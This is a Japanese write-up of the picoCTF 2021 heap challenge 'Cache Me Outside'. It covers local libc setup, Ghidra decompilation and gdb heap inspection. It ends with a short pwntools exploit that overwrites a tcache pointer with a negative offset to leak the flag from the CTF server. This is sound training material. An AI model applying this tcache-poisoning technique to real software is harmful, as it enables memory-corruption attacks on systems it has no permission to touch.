picoCTF 2021の「Cache Me Outside」。ヒープ問。
tcacheエントリについてアドレスを書き換える。
ローカルで動かすとlibc関連でエラーが発生するのでそのトラブルシューティングについても。
ローカルで動かすとエラー
動かしてるマシンのlibcと与えられたlibcの違いによりエラーが発生する:
shoebill@pwner:~/pico$ ./heapedit Inconsistency detected by ld.so: dl-call-libc-early-init.c: 37: _dl_call_libc_early_init: Assertion `sym != NULL' failed!
適切なリンカをダウンロードして解決する(pwninitを使用)。
shoebill@pwner:~/pico$ ls heapedit libc.so.6 shoebill@pwner:~/pico$ pwninit bin: ./heapedit libc: ./libc.so.6 fetching linker https://launchpad.net/ubuntu/+archive/primary/+files//libc6_2.27-3ubuntu1.2_amd64.deb setting ./ld-2.27.so executable copying ./heapedit to ./heapedit_patched running patchelf on ./heapedit_patched writing solve.py stub
次のようにLD_PREALOADでlibcとリンカを指定して実行する:
shoebill@pwner:~/pico/PwnInit$ ls heapedit heapedit_patched ld-2.27.so libc.so.6 solve.py shoebill@pwner:~/pico/PwnInit$ LD_PREALOAD=./libc.so.6 ./ld-2.27.so ./heapedit Segmentation fault (core dumped)
flag.txtを用意することに注意する。
shoebill@pwner:~/pico/PwnInit$ echo -n 'picoCTF{test_flag}' > flag.txt
shoebill@pwner:~/pico/PwnInit$ LD_PREALOAD=./libc.so.6 ./ld-2.27.so ./heapedit
You may edit one byte in the program.
Address:
でも毎回この長いのを打ち込むのは面倒だから、patchelfコマンドで設定してやる:
shoebill@pwner:~/pico/PwnInit$ patchelf --set-interpreter ./ld-2.27.so ./heapedit shoebill@pwner:~/pico/PwnInit$ ./heapedit You may edit one byte in the program. Address:
これで快適に実行できるようになった。
プログラムの概要
shoebill@pwner:~/Pico$ ./conn.sh You may edit one byte in the program. Address: 0 Value: 0 t help you: this is a random string
書いてある通り、1バイトだけ書き換えることができるらしい。アドレスを指定して、そこに値を与える。
よくわからないのでデコンパイルする。
デコンパイルして解析
ghidraでmain関数をデコンパイル:
undefined8 main(void) { ... local_10 = *(long *)(in_FS_OFFSET + 0x28); setbuf(stdout,(char *)0x0); flag = fopen("flag.txt","r"); fgets(flag_cp,0x40,flag); local_78 = 0x2073692073696874; // this is local_70 = 0x6d6f646e61722061; // a random local_68 = 0x2e676e6972747320; // string. local_60 = 0; local_a0 = (undefined8 *)0x0; for (i = 0; i < 7; i = i + 1) { local_98 = (undefined8 *)malloc(0x80); if (local_a0 == (undefined8 *)0x0) { local_a0 = local_98; } *local_98 = 0x73746172676e6f43; // Congrats local_98[1] = 0x662072756f592021; // ! Your f local_98[2] = 0x203a73692067616c; // lag is: *(undefined *)(local_98 + 3) = 0; strcat((char *)local_98,flag_cp); } local_88 = (undefined8 *)malloc(0x80); *local_88 = 0x5420217972726f53; // Sorry! T local_88[1] = 0x276e6f7720736968; // his won' local_88[2] = 0x7920706c65682074; // t help y *(undefined4 *)(local_88 + 3) = 0x203a756f; // ou: *(undefined *)((long)local_88 + 0x1c) = 0; strcat((char *)local_88,(char *)&local_78); free(local_98); free(local_88); address_input = 0; value_input = 0; puts("You may edit one byte in the program."); printf("Address: "); __isoc99_scanf(&DAT_00400b48,&address_input); printf("Value: "); __isoc99_scanf(&DAT_00400b53,&value_input); *(undefined *)((long)address_input + (long)local_a0) = value_input; local_80 = malloc(0x80); puts((char *)((long)local_80 + 0x10)); ... }
あの長いhexは文字列(echoをxxd -rにパイプしたり、pwntoolsのp64関数とか使えば変換可能)。

標準入力で与える値について、上のghidraの表示をみると、Addressの入力は10進数の整数値、Valueの入力は文字列を与えるとわかる(わかりやすくaddress_inputとvalue_inputと名付けた)。
フラグはlocal_98に結合されている。特に、local_a0は0で初期化され、その後local_98(malloc(0x80)の返り値)を代入されている。
終盤にある次のコードに注目する:
*(undefined *)((long)address_input + (long)local_a0) = value_input;
つまり、Addressとして入力するのは、”local_a0からのオフセット”ということだ。
デバッグしてヒープの状況を見る
まず、puts("You may edit one byte in the program.")にブレイクポイントを打ってそのタイミンでのヒープの様子を見てみる:
gdb-peda$ b *main+453
Breakpoint 1 at 0x4009cc
gdb-peda$ r
...
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x603910 (size : 0x1f6f0)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x90) tcache_entry[7](2): 0x603890 --> 0x603800
tcacheに2つ繋がれてる。デコンパイル結果からわかる通り、直前で次のようにfreeしてるから:
free(local_98); free(local_88); address_input = 0; value_input = 0; puts("You may edit one byte in the program.");
tcacheのエントリ追加・確保は共に先頭に対して行われるから、この場合
- 0x603890 :
local_88 - 0x603800 :
local_98
という対応だ。実際にそれぞれ見ると...
gdb-peda$ x/8s 0x603890
0x603890: ""
0x603891: "8`"
0x603894: ""
0x603895: ""
0x603896: ""
0x603897: ""
0x603898: "his won't help you: this is a random string."
0x6038c5: ""
gdb-peda$ x/10s 0x603800
0x603800: ""
0x603801: ""
0x603802: ""
0x603803: ""
0x603804: ""
0x603805: ""
0x603806: ""
0x603807: ""
0x603808: "! Your flag is: picoCTF{test_flag}"
続けて、一番最後にあるputs:
*(undefined *)((long)address_input + (long)local_a0) = value_input; local_80 = malloc(0x80); puts((char *)((long)local_80 + 0x10));
にブレイクポイントを打ってそのタイミングでのヒープの状況を見てみる。直前でmalloc(0x80)してることに注意する:
gdb-peda$ b *main+599
gdb-peda$ c
...
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x603d20 (size : 0x1f2e0)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x90) tcache_entry[7](1): 0x603800
確かに先頭にあった0x603890の方が確保されてる(それで結果的に”〜 this is a random string.”という失敗したことを表す文章が表示さる)。
※ tcacheにてindexの7番はサイズ0x90に対応する。mallocしてるのは0x80バイトだが、そこにヘッダも合わせると0x80バイトをオーバーする。そして、チャンクでは0x10の倍数に揃えられるから結果的にサイズ0x90バイトとして扱われてる。
そしてgdbのheapbaseコマンドでtcacheエントリ全体を見る:
gdb-peda$ heapinfo
...
top: 0x603d20 (size : 0x1f2e0)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x90) tcache_entry[7](2): 0x603890 --> 0x603800
gdb-peda$ heapbase
heapbase : 0x602000
gdb-peda$ x/32gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000251
0x602010: 0x0200000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000603890
0x602090: 0x0000000000000000 0x0000000000000000
0x6020a0: 0x0000000000000000 0x0000000000000000
...

戦略
最後にあるmalloc(0x80)のタイミングで、tcache_entry[7]にlocal_98だけがつながっている状態を作れば良さそう。
ではどうやってそれよりも先についているlocal_88をどかす、すなわちtcache_entry[7]から外せばいいのか?
👉 いや外すのではなく、 tcache_etnryの0x603890の部分を0x603800に書き換えてやればよい。
address_inputの箇所から、0x603890のある場所までのオフセットを調べて、value_inputとして0x6800を与える。
tcacheの汚染
1つ目のinputの箇所にブレイクポイントを打ち、そこからniで一命令ずつ実行していく。
address_inputとして24、value_inputとして0xdeadbeefを与えて、そこから少しずつ実行していくとadd命令がある。そこが(long)address_input + (long)local_a0なのでこのタイミングでlocal_a0とかを解析できる:
[-------------------------------------code-------------------------------------]
0x400a29 <main+546>: mov eax,DWORD PTR [rbp-0xa0]
0x400a2f <main+552>: movsxd rdx,eax
0x400a32 <main+555>: mov rax,QWORD PTR [rbp-0x98]
=> 0x400a39 <main+562>: add rdx,rax
0x400a3c <main+565>: movzx eax,BYTE PTR [rbp-0xa1]
0x400a43 <main+572>: mov BYTE PTR [rdx],al
0x400a45 <main+574>: mov edi,0x80
0x400a4a <main+579>: call 0x4006e0 <malloc@plt>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdca0 --> 0x7fffffffde48 --> 0x7fffffffe1e1 ("/home/shoebill/Pico/heapedit")
0008| 0x7fffffffdca8 --> 0x100000000
0016| 0x7fffffffdcb0 --> 0x0
0024| 0x7fffffffdcb8 --> 0x3000000000000000 ('')
0032| 0x7fffffffdcc0 --> 0x700000018
0040| 0x7fffffffdcc8 --> 0x6034a0 ("Congrats! Your flag is: picoCTF{test_flag}")
0048| 0x7fffffffdcd0 --> 0x603800 --> 0x0
0056| 0x7fffffffdcd8 --> 0x602260 --> 0xfbad2498
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0000000000400a39 in main ()
gdb-peda$ i r rdx
rdx 0x18 0x18
gdb-peda$ i r rax
rax 0x6034a0 0x6034a0
rdxレジスタがaddress_input(自分が入力した24=0x18)、raxレジスタがlocal_a0だ!
address_inputのアドレス:0x6034a0(上で示してるlocal_a0のアドレス)0x603890のあるアドレス:0x602088(heapbaseの結果より)
gdb-peda$ p/d 0x6034a0 - 0x602088 $1 = 5144
exploit
#!/usr/bin/env python3 from pwn import * def attack(conn, **kwargs): address_input = b'-5144' conn.sendlineafter(b'Address: ', address_input) value_input = p64(0x0000000000603800) conn.sendlineafter(b'Value: ', value_input) def main(): conn = remote("mercury.picoctf.net", 17612) attack(conn) conn.interactive() if __name__ == '__main__': main()
5144ではなく-5144で成功した0x0000000000603800はp64()関数でバイト列にして与える
なぜ”マイナス”5144なのか?
書き換えたい0x0000000000603890のあるアドレスが、local_a0よりも下位だから:
address_inputのアドレス:0x6034a0(local_a0のアドレス)0x603890のあるアドレス:0x602088
(%dだから整数であれば負数だって与えられる)